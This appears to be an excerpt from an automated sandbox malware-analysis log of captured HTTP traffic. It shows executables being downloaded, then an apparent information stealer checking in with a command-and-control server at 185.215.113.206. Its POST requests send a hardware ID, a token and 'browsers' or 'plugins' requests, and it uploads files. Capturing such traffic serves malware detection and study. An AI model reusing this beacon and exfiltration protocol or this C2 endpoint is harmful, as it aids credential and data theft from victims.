00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 02:04:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 02:04:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 02:04:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 02:04:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECAFHDBGHJKFIDHJJJEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 39 30 41 38 35 45 45 44 35 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 2d 2d 0d 0a Data Ascii: ------IECAFHDBGHJKFIDHJJJEContent-Disposition: form-data; name="hwid"190A85EED5E91041095265------IECAFHDBGHJKFIDHJJJEContent-Disposition: form-data; name="build"tale------IECAFHDBGHJKFIDHJJJE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIIJJJDGCBAAKFIIECGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 2d 2d 0d 0a Data Ascii: ------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="message"browsers------KFIIJJJDGCBAAKFIIECG--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBKKECBGIIJJKECGIJEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 2d 2d 0d 0a Data Ascii: ------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="message"plugins------AEBKKECBGIIJJKECGIJE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIIECBGDHJJKFIDAKJDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 2d 2d 0d 0a Data Ascii: ------GIIIECBGDHJJKFIDAKJDContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------GIIIECBGDHJJKFIDAKJDContent-Disposition: form-data; name="message"fplugins------GIIIECBGDHJJKFIDAKJD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBAKEHIEBKJJJJJKKKEGHost: 185.215.113.206Content-Length: 7307Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCFCAKFHCGCBFHCGHDHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEBFHCAKFBGDHIDHIDBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------GIEBFHCAKFBGDHIDHIDBContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------GIEBFHCAKFBGDHIDHIDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIEBFHCAKFBGDHIDHIDBContent-Disposition: form-data; name="file"------GIEBFHCAKFBGDHIDHIDB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJECAEHJJJKJKFIDGCBHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJEBAECGCBKECAAAEBFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 2d 2d 0d 0a Data Ascii: ------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIJEBAECGCBKECAAAEBFContent-Disposition: 